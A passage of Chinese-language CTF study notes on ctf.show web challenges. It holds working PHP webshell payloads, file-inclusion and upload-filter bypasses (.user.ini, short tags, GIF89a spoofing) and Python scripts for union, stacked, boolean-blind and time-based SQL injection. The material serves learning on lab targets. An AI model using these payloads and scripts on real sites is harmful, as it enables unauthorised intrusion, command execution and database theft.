response = session.post(url,cookies={‘PHPSESSID’: ‘flag’}, data=data, files={‘file’: (‘dota.txt’, f)}) def read(session):
while True:
response = session.get(url+’?file=/tmp/sess_flag’)
if ‘dotast’ in response.text:
print(response.text)
break
else:
print(‘retry’)
if name == ‘main’:
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session) ```
Web83,84,85,86
session竞争,用上题脚本跑即可
Web87

在$content之前拼接了phpdie
换一个脚本跑
#-- coding: utf-8 --
#@Time : 2021/10/12 19:44
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : session包含(特殊情况).py
#@Software: PyCharm import requests url = "http://c0c5583b-0b5d-4ad9-8435-eae5778c1632.challenge.ctf.show:8080/"
#经过两次url编码的php://filter/write=convert.base64-decode/resource=dotast.php get_data = "%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30" get_url = url + "?file=" + get_data data = {
'content': 'nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==' }
res = requests.post(url=get_url, data=data) shell_url = url + "datast.php" test = requests.get(shell_url) if(test.status_code == 200):
print("[*]getshell成功")
shell_data = {
'pass': 'system("cat fl0g.php");'
}
result = requests.post(url=shell_url, data=shell_data)
print(result.text) else:
print("没有写入成功")
Web88
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/ if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file); }else{
highlight_file(__FILE__); } ```
data协议
```pay=?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4 ```
## Web116
emm本地文件包含,file直接包含路径就可(抓包包含)
## Web117
```php <?php
/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 18:16:59
*/ highlight_file(__FILE__); error_reporting(0); function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
} } $file=$_GET['file']; $contents=$_POST['contents']; filter($file); file_put_contents($file, "<?php die();?>".$contents); ```
比session包含多了正则过滤,脚本不能用
这里用到convert.iconv的知识放到总结里了
```python
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/21 12:29
# blog: www.wlhhlc.top import requests
url = "http://89c4ad73-f77e-48aa-b781-f95972aedcb5.challenge.ctf.show:8080/" get_data = "php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=dotast.php" get_url = url + "?file=" + get_data data = {
'contents': '?<hp pe@av(l_$OPTSd[tosa]t;)>?' } res = requests.post(url=get_url, data=data) shell_url = url + "dotast.php" test = requests.get(shell_url) if(test.status_code == 200):
print("[*]getshell成功")
shell_data = {
'dotast': 'system("cat flag.php");'
}
result = requests.post(url=shell_url, data=shell_data)
print(result.text) ```
## 文件包含总结
在做文件包含是要找到包含点,比如在80题中,要向ua头中传入1作为包含点,用1去包含命令,另外,包含最好不要用抓包,有时会出错
session总结
[利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户](https://www.freebuf.com/vuls/202819.html)
题目讲解
[(5条消息) wmctf2020 Make PHP Great Again_Firebasky的博客-CSDN博客](https://blog.csdn.net/qq_46091464/article/details/108021053)
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用 `iconv ( string $in_charset , string $out_charset , string $str )`:将字符串`$str`从`in_charset`编码转换到`$out_charset` 这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上
# 文件上传
## Web151

提示前台校验不可靠,猜测是修改请求包
**bp抓包**
(不要使用pptp连服务器,会被拦)

## Web152

和上题一样,抓包改后缀即可

## Web153

开始大概尝试bp改后缀,尝试了.php.jpg,%00截断,以及大小写绕过,结果是都不可以,大写`Php`成功上传但是没有不能执行命令,405报错
**师傅们的wp:**
师傅们使用了`.user.ini`来构造后门
```php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。 ```
`.user.ini`是用户自定义的一个php.ini
并且用到了php.ini的两个配置项
```php auto_prepend_file=filename //包含在文件头 auto_append_file=filename //包含在文件尾 ```
`auto_prepend_file=filename` :
```指定一个在主文件之前自动解析的文件名。该文件被包含,就像它被require函数调用一样,所以include_path被使用。
特殊值none将禁用自动预处理。举例,同一目录下有3.php,2.jpg和.user.ini(auto_prepend_file=2.jpg),那么当调用3.php时会包含2.jpg ```
**bp:**
先上传`.user.ini`

再上传需要的baiwu.png

**注意**:这里如果是上传`<?php @system($_POST[a]);?>`,因为是以png格式上传,所以第一个`<`会被解析为?,导致不能形成语句,所以需要加上`#`防止被注释掉,然后执行命令即可

## Web154

~~尝试上传png,jpg,php结果都是文件内容不合规,尝试修改文件头~~想多了,注意提示,文件内容不合规,而且普通png文件是可以上传的,(bp拦截忘记关了,所以都不能通过。。。。)
**师傅们的wp:**
解码后显示的文字是不支持格式,说明可能内容里的php被ban了,改成短标签的形式再上传
**短标签:**
`<? `这是短标签,`<?php`这是正常的,但是一般短标签开启需要`php.ini`的`short_open_tag = On`
`<?=函数()?>`
本题应该是默认开启的

这里随便上传一个png,然后修改内容和文件名就可
## Web155
同154
## Web156

尝试上传png,提示文件类型违规,尝试.user.ini,可以上传,尝试加入一句话木马后上传ini,提示文件类型违规,疑似对一句话木马中的某个字符进行了匹配,**WP中说可以用上题方法打通,尝试后发现是过滤了`php`和`[` `]`**
传入的内容:`#<?@system("tac ../fl*");?>`
## Web157

经过尝试这次过滤了`;`
自己尝试了替换分割符绕过但是没用(疑似用错,返回的是语法错误)

**师傅们的wp:**
这里对短标签的用法有一个误区
`<?=函数`实际上这个用法已经包含了`;`,不需要再加入`;`,如果是`<? 函数;>?`那么这个`;`就是不能少的,对于这个题,过滤了`;`,我们就可以选择第一种`=`的方式
`#<?=system("tac ../fl*")?>`
## Web158
同157
## Web159
这次过滤了`()`,选择用反引号`绕过
#<?=`tac fl*`?> ```
Web160
这次反引号也被过滤
师傅们的wp:
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
这里师傅选择用包含的方式读取文件,采用拼接的方式绕过php的过滤
Web161
过滤了ini,png也不能上传,其中的内容也被过滤
师傅们的wp:
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
这里提到了getimagesize()作用是获取目标文件的16进制信息,(读取头几个字符串是不是符合图片的要求这一点没找到,但是师傅的wp中写了)
加上GIF89a:
GIF89a图片头文件欺骗 - IT使者 - 博客园 (cnblogs.com)
php环境下getimagesize()不能判断GIF89a是无效图片
所以在传入的数据中加入GIF89a即可

Web162
没有头绪。。。。
师傅们的wp:
这次被ban掉的是.,这里用到了session包含的知识
Web163
Web164
.user.ini被ban,提示只允许上传png文件
师傅们的wp:
麻了,做题太多忘记碰到问题要先看源码了
先看源码

有一个download.php?image=
Sql注入(复习版)
Web171(简单过滤开始)

可以得知是'过滤
新方法:
使用or 1=1绕过,sql语句中的or是逻辑顺序,执行顺序会从前到后全部执行,不要和php的搞混
Web172

解题方法:
会检测返回内容,如果返回数组中username字段不等于flag就会查询成功,这里我们选择将password和username字段反转
1' union select password,username from ctfshow_user2 -- qwe绕过
Web173

解题步骤:
复习时想到的新知识,这里把flag给过滤了,那我不直接不查flag不就好了(233)

所用pay:
1' union select id,2,password from ctfshow_user3 where id=26 -- qwe
Web174

和173不同的同时要求返回的查询结果中不能有数字,所以我们用replace函数替代
构造pay:
1' union select 'x',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','ONE'),'2','TWO'),'3','THREE'),'4','FOUR'),'5','FIVE'),'6','SIX'),'7','SEVEN'),'8','EIGHT'),'9','NINE'),'0','ZERO') from ctfshow_user4 where id=26 -- qwe
**注意:**查询中有字母时,比如上面的x,要加上’’`
Web175

这里过滤了几乎可以用的所有字符,可以想到的是用编码绕过,但是url编码好像没用?属于是PHP做傻了,这里过滤的是返回结果中的所有字符,并不是查询语句。。
真的没想起来怎么做了…
师傅们的wp:
绝了,果然web是互通的吗…群主使用的方法是把查询结果返回到浏览器根目录的一个文件中,
构造pay:
1' union select 1,password from ctfshow_user5 where id=26 into outfile '/var/www/html/2.txt' -- qwe
这里用到了into outfile这个方法,虽然有可能返回语法错误,但是命令是正常执行了
Web176

简单的过滤,几次尝试后发现过滤了select,但是没有匹配大小写,大小写绕过即可
1' Union Select 1,2,password From ctfshow_user Where Id=26 -- qqe
Web177

简单过滤,这次过滤了空格,尝试%20绕过不行,%09成功绕过
构造pay:
1'%09Union%09Select%091,2,password%09From%09ctfshow_user%09Where%09Id=26%09--%09qqe
Web178
emm意义不明,和上题一样,%09绕过了
Web179

不清楚具体的过滤,尝试了绕过空格过滤的各种方式但是不行,大小写也不是,但是好像%0a和其他几个会被
麻了,好像是昨天晚上环境出问题了这里尝试%0c是可以执行的…
构造pay:
1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cid=26--%0cqwe
Web180
和上题一样,%0c可以过,直接
1'or%0c1=1--%0cqwe
Web181
emm好像有点一把梭了,这里没过滤or,直接用上一题就行
Web182
???有毒,求求过滤一下or吧
Web183

过滤了一大堆东西,or也被过滤,并且没有告诉我们表名i这次连表名也要自己猜了。。
忘记这叫什么了?(盲注?)好像是,这里盲猜一个表ctfshow_user又值,并且pass字段共有22个
目前我们只能在表名这里进行注入,好像;可以执行但是在后面加入的命令好像不可以…(疑似是命令执行?)
新知识点:
like语句:SQL LIKE 操作符 (w3school.com.cn)
与where搭配使用,例如select *from persons where city like "shandong"
构造pay:
这里使用了脚本
#-- coding: utf-8 --
#@Time : 2021/10/27 15:00
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql脚本.py
#@Software: PyCharm import requests
url = "http://2ac49e8e-ea4b-45db-822d-bb646fff1f63.challenge.ctf.show/select-waf.php" str = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag = "ctfshow" for i in range(0,666):
for j in str:
data = {"tableName":"(ctfshow_user)where(pass)like'{0}%'".format(flag+j)}
res = requests.post(url=url, data=data)
if "$user_count = 1" in res.text:
flag += j
print(flag)
if j=="}":
exit()
break ```
**基本pay:**
`tableName=(ctfshow_user)where(pass)like'ctfshow%`查询ctfshow_user表中的``pass``字段是否含有某字符
这里的`%`是通配符的意思
## Web184


和上题一样,要才表名,并且这次把字段也换成了* ,尝试`ctfshow_user`发现存在,回显是22
但是这次过滤了单引号与双引号
**新知识:**
**left/rigth join:**
比如有两张表
**person表**

**school表**

**查询语句:**`select * from person left join school on person.school_id=shcool.id `
**结果**

left和rigth的区别实际上就是左边/右边的表会全部返回
**本题用的方法:**
这里使用的语句是:`select * from test right join test2 on test2.password like 1212`

对test表没有限制,所以左表test全部输出,右表对于test2会用当前全部符合条件的行去和左表对齐,然后下面是不满足条件的行,左表用`null`对齐
**具体可以参考:**[(11条消息) sql语句的内外左右连接(left join and right join)_Mr_linjw的专栏-CSDN博客_sql左连接语法](https://blog.csdn.net/Mr_linjw/article/details/50385769)
**as语句:**
起别名:
`select username as 姓名 from test `
返回的数据`username`字段会被替换为`姓名`
## Web185

过滤了一些东西
数字全被过滤,盲注的情况下不能使用数字测试
**师傅们的wp:**
**新知识点**:
在mysql中,sql语句true为1,true+true=2,通过这一特点构造数字
**脚本**
```python import requests
def createNum(n):
str = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
str += "+true"
return str
#把每一个字符转换成ascii码对应的数值 def change_str(s):
str=""
str+="chr("+createNum(ord(s[0]))+")"
for i in s[1:]:
str+=",chr("+createNum(ord(i))+")"
return str
url = "http://fe14cdaf-0680-4a52-80a9-1591a50c9154.challenge.ctf.show/select-waf.php" str = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag = "ctfshow" for i in range(0,666):
for j in str:
result = change_str(flag + j + "%")
data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}
res = requests.post(url=url, data=data)
if "$user_count = 43;" in res.text:
flag += j
print(flag)
if j=="}":
exit()
break ```
## Web186(简单过滤结束)
同上,脚本即可
## Web187(盲注开始)

和前几题明显不一样了
username是通过post传参方式获得的,password是通过post方式传参,并且会以16字符长度的原始二进制返回
该题的思路是,用户名要等于admin,password的密码要等于admin的密码
**需要的特殊字符**:
`ffifdyop`
**ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,这个字符串前几位刚好是' or '6**
成功登陆
~~接下来尝试爆出flag~~
麻了,很绝,flag在响应包里,登陆后f12或者bp抓个包就可以获得flag
## Web188

~~`is_numeric()`这个函数的参为16进制时,返回值为true,这时可以绕过~~
初步想法是password传入intval(),是下面构成intval(intval()),返回值为空,与字符串弱比较后为true,目前该思路无法执行
**师傅们的wp:**
username=0&password=0,弱比较相等
**破案了**:

php 5.X版本支持,php7.X版本修复了16进制的漏洞
## Web189

~~和上题一样,弱比较绕过~~
很显然出题人没有这么傻,这次修改了逻辑,如果为空会返回查询失败
寄了,sql做的太少了,没有思路
**师傅们的wp:**
**盲注脚本:**
```python
#-- coding: utf-8 --
#@Time : 2021/11/7 20:33
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql盲注(load_file可参考).py
#@Software: PyCharm import requests url = "http://7b9478e7-a188-4953-b147-25a2616d9e3e.challenge.ctf.show/api/index.php" all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}" flag = "ctfshow{"
for i in range(200):
for j in all_str:
data = {
"username":"if(load_file('/var/www/html/api/index.php')regexp('{0}'),0,1)".format(flag
+ j),
'password':0
}
res = requests.post(url=url, data=data)
if r"\u5bc6\u7801\u9519\u8bef" in res.text:
flag +=j
print(flag)
break
if j=='}':
exit() ```
## Web190

与前几题逻辑基本相似,密码要为全数字,少了对username的正则和返回的情况。

返回的情况变了,在查找不到用户名的情况下返回的值为用户名不存在
尝试admin,发现返回的是密码错误

大体有一个思路,在admin栏尝试盲注,但是查询的内容是pass字段下的内容,如果返回的值为1,那应该就会返回密码错误,如果不存在,就会返回用户名不存在,关键是在注入这里
又被拦了,因为学校防火墙的原因导致sql注入不能进行
**脚本:**
```python
#-- coding: utf-8 --
#@Time : 2021/11/8 9:45
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql 登陆栏盲注(用户名不存在,密码错误).py
#@Software: PyCharm import requests url = "http://fc523053-3df4-4e32-978a-a8e738f2757b.challenge.ctf.show/api/" data = {'username':'',
'password':123456} flag = ''
for i in range(1,46):
start = 32
end = 127
while start < end:
mid = (start + end) >> 1
#取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
payload = "select f1ag from ctfshow_fl0g"
data['username'] = f"admin' and if(ascii(substr(({payload}), {i} , 1)) > {mid}, 1, 2)=1#"
res = requests.post(url=url, data=data)
if "密码错误" in res.json()['msg']:
start = mid +1
else:
end = mid
flag = flag + chr(start)
print(flag) ```
## Web191

上一题脚本不能用,acsii被过滤,尝试其他方式,想到了sleep(),要找到sleep()可以在那里插入
尝试构造payload
偷看了一眼wp
用ord()替换ascii,ord是返回字符串第一位的ascii码,以为这里截取了以为,所以两者作用一致
`admin' and if(ord(substrc(select group_concat(table_name) from information_schema.tables where table_schema=database(),n,1)>x),1,2)=1`
查完表查字段,然后对字段匹配就可以了
## Web192

寄,ord也过滤了,if不能用了,还有什么可以用的=-=
跑字段会出问题,但是可以跑出表...不是很清楚为什么,
**脚本:**
```python
#-- coding: utf-8 --
#@Time : 2021/11/8 9:45
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql 登陆栏盲注(用户名不存在,密码错误).py
#@Software: PyCharm import requests url = "http://f35e2490-cba6-44b0-91c5-8ec6e5fe85c0.challenge.ctf.show/api/" data = {'username':'',
'password':1} flag = '' str="0123456789abcdefghijklmnopqrstuvwxyz-{}"
for i in range(1,99):
for j in str:
#取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
#ascii可以用ord替换,依照过滤情况决定
#username_data = f"admin' and if(substr(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
data['username'] = f"admin' and if(substr(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
res = requests.post(url=url, data=data)
if "密码错误" in res.json()['msg']:
flag+=j
print(flag)
break
if j == "}":
exit()
Web193

和上题相比这次把substr也过滤了,尝试换成mid,但是不可以…没有结果返回
这里失误了,表名和之前都不一样了,重新查询表——字段
脚本:(匹配的字符串中加入表名中可能出现的_与分割字段名的,)
#-- coding: utf-8 --
#@Time : 2021/11/8 9:45
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql 登陆栏盲注(用户名不存在,密码错误).py
#@Software: PyCharm import requests url = "http://f986d998-4390-4add-8d2b-e032a6843d87.challenge.ctf.show/api/" data = {'username':'',
'password':1} flag = '' str="0123456789abcdefghijklmnopqrstuvwxyz-_,{}"
for i in range(1,99):
for j in str:
#取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"
payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#ascii可以用ord替换,依照过滤情况决定
#username_data = f"admin' and if(substr(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
data['username'] = f"admin' and if(mid(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
res = requests.post(url=url, data=data)
if "密码错误" in res.json()['msg']:
flag+=j
print(flag)
break
if j == "}":
exit()
Web194(盲注结束)

过滤了left之类的截取函数,不妨碍我们用mid
脚本:
#-- coding: utf-8 --
#@Time : 2021/11/8 9:45
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql 登陆栏盲注(用户名不存在,密码错误).py
#@Software: PyCharm import requests url = "http://963e479a-ae45-4c5b-a253-6952cf10f855.challenge.ctf.show/api/" data = {'username':'',
'password':1} flag = '' str="0123456789abcdefghijklmnopqrstuvwxyz_,-{}"
for i in range(1,99):
for j in str:
#取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#ascii可以用ord替换,依照过滤情况决定
#username_data = f"admin' and if(substr(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
data['username'] = f"admin' and if(mid(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
res = requests.post(url=url, data=data)
if "密码错误" in res.json()['msg']:
flag+=j
print(flag)
break
if j == "}":
exit()
Web195(堆叠注入开始)

是堆叠注入,形式是;后面接查询语句,大概思路尝试用show(databases),但是返回查询失败,并且这里不能使用into所以insert也不能使用
师傅们的wp:
sql果然不能被常识束缚,要去用一些奇怪的操作…
这里师傅使用的是update来更新数据库中相应字段的值,并且用`反引号来代替空格(这我还真不知道)
payload="0x61646d696e;updatectfshow_usersetpass=123456"
这里用了16进制,原因是username没有用单引号包裹

Web196

这次对username有了长度限制,寄了,没有思路
师傅们的wp:
虽然过滤表里写了select,但是并没有过滤…
payload=1;select(1)
Web197

啥啊,show database不能用,updata不能用select不能用,set也被禁,不能用
真没思路,堆叠注入不熟
师傅们的wp:
username=admin;show tables
password=ctfshow_user
这没想到不应该啊,返回的值是查询后的表名,只要传入ctfshow_user就可以了
Web198

逻辑上还是没有太大变化,尝试使用username=show tables,password=ctfshow_user,但是返回查询失败
这里是使用错误
应该是把username字段里的值换了一下,尝试username=1;show tables,passowrd=ctfshow_user后获得flag
Web199
show没过滤,直接过
Web200(堆叠注入结束)
继续过
Web201(sqlmap开始)

按照题目提示修改
--user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.44"
--referer "http://www.baidu.com" ```

查询失败,返回结果如下

有一些问题目前跑不了,需要先放放了
## Web214(开始时间盲注)

麻了,这次连查询语句也不给了,尝试其他办法
这里有一个大坑,是关于抓包爆破目录和参数的,暂且不填,等能力够了以后在填吧..
**师傅们的wp**:
直接上脚本
```python
#-- coding: utf-8 --
#@Time : 2021/11/14 17:40
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql时间注入(基本).py
#@Software: PyCharm import requests import time
url = "http://6c8bc3bf-97a6-46f9-9b3e-a10c84aacda6.challenge.ctf.show/api/" str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,," flag = ""
#payload = "if(substr(database(),{},1)='{}',sleep(3),0)"
#payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)"
#payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)" payload = "if(substr((select group_concat(flaga) from ctfshow_flagx),{},1)='{}',sleep(5),0)" n = 0
for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
print(end - start)
if end - start > 4.9 and end - start < 6.9:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break
Web215

这次提示用了单引号,尝试修改脚本,失败,尝试更换方法,单引号闭合一下(重新跑一下表名,成功)
#-- coding: utf-8 --
#@Time : 2021/11/14 17:40
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql时间注入(基本).py
#@Software: PyCharm import requests import time
url = "http://187c187b-c401-4403-81ad-e467f8893db8.challenge.ctf.show/api/" str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,," flag = ""
#payload = "if(substr(database(),{},1)='{}',sleep(3),0)"
#payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)"
#payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)" payload = "1' union select if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)-- qwe" n = 0
for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
print(end - start)
if end - start > 4.9 and end - start < 6.9:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break ```
## Web216

这次告诉了我们查询语句,没有影响,加个括号,然后这里因为有可能查询失败,所以我们用or
```python
#-- coding: utf-8 --
#@Time : 2021/11/14 17:40
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql时间注入(基本).py
#@Software: PyCharm import requests import time
url = "http://0331c2a6-a440-4cfe-9848-a23d923cf871.challenge.ctf.show/api/" str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,," flag = ""
#payload = "if(substr(database(),{},1)='{}',sleep(3),0)"
#payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)"
#payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)" payload = "1) or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)-- qwe" n = 0
for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
print(end - start)
if end - start > 4.9 and end - start < 6.9:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break ```
## Web217

加个括号,因为这次过滤了`sleep`,改用`benchmark(10000000,sha(1))`,执行时间是3.X秒,成功跑出
```python
#-- coding: utf-8 --
#@Time : 2021/11/14 17:40
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql时间注入(基本).py
#@Software: PyCharm import requests import time
url = "http://2ed8a81d-9b6e-428d-9528-7b6ed5427376.challenge.ctf.show/api/" str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,," flag = ""
#payload = "if(substr(database(),{},1)='{}',sleep(3),0)"
#payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)"
#payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)" payload = "-1) or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',benchmark(10000000,sha(1)),0)-- qwe" n = 0
for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
print(end - start)
if end - start > 1.9 and end - start < 6.9:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break
Web218

这次把benchmar也过滤了,自己的脚本怎么改都是超时,麻了
师傅们的脚本:
#-- coding: utf-8 --
#@Time : 2021/11/14 17:40
#@Author : 白无
#@Email : zxc78945630214@163.com
#@File : sql时间注入(基本).py
#@Software: PyCharm
import requests import time bypass="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'" url = "http://edcecf83-c090-4fc4-b133-bbc548328e16.challenge.ctf.show/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = ""
#1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)#
#求表payload = "1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#"
#payload = "1) and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'),{},1)='{}',({}),0)#" payload = "1) and if(substr((select group_concat(flagaac) from ctfshow_flagxc),{},1)='{}',({}),0)#"
n = 0
for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j,bypass),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
print(end-start)
if end - start > 0.4 and end - start < 1.2:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break
Web221(开始其他注入)(limit注入)

给了提示说是limit注入

在api页面尝试注入,但是一直失败,目前已知
?page=1),1'&limit=1这个返回结果是
和正常的limit x,x格式一样,但是union语句不起作用
尝试了半天,麻了,是真的不管用
师傅们的wp:
这里有丶傻了
?page=1&limit=1%20procedure%20analyse(extractvalue(rand(),concat(0x3a,database())),2)
只要让page-1=0就好了,这样limit就可以任意构造了,毕竟0乘任何数都为0,这里好像只能用procedure analyse()
procedure analyse()是sql中的分析函数?具体作用还不是很清楚,等待尝试,这里先知道这个常用注入方法
Web222(group注入)

这里告诉了我们使用的是group注入,百度了mysql group注入的方法,好像确实难
先来看一下group的作用:
这是user表的结构

使用group by后(对username字段)(或者是对字段位置1)

使用group by后(对password字段)(或者是对字段位置2)

group by也可以用于统计(分组计数,并不是把每一个删掉了),通过这里可以看出来实际上group by是对该字段下的数据进行逐一比对,然后再进行重新排序

如果是对两个字段查询,那么只有在两个字段的count相等时才会归为一类

关于X:
这是关于X的用法,从下图可以看出来X相当于起别名,换其他英文(数字和中文需要加单引号)也是可以的


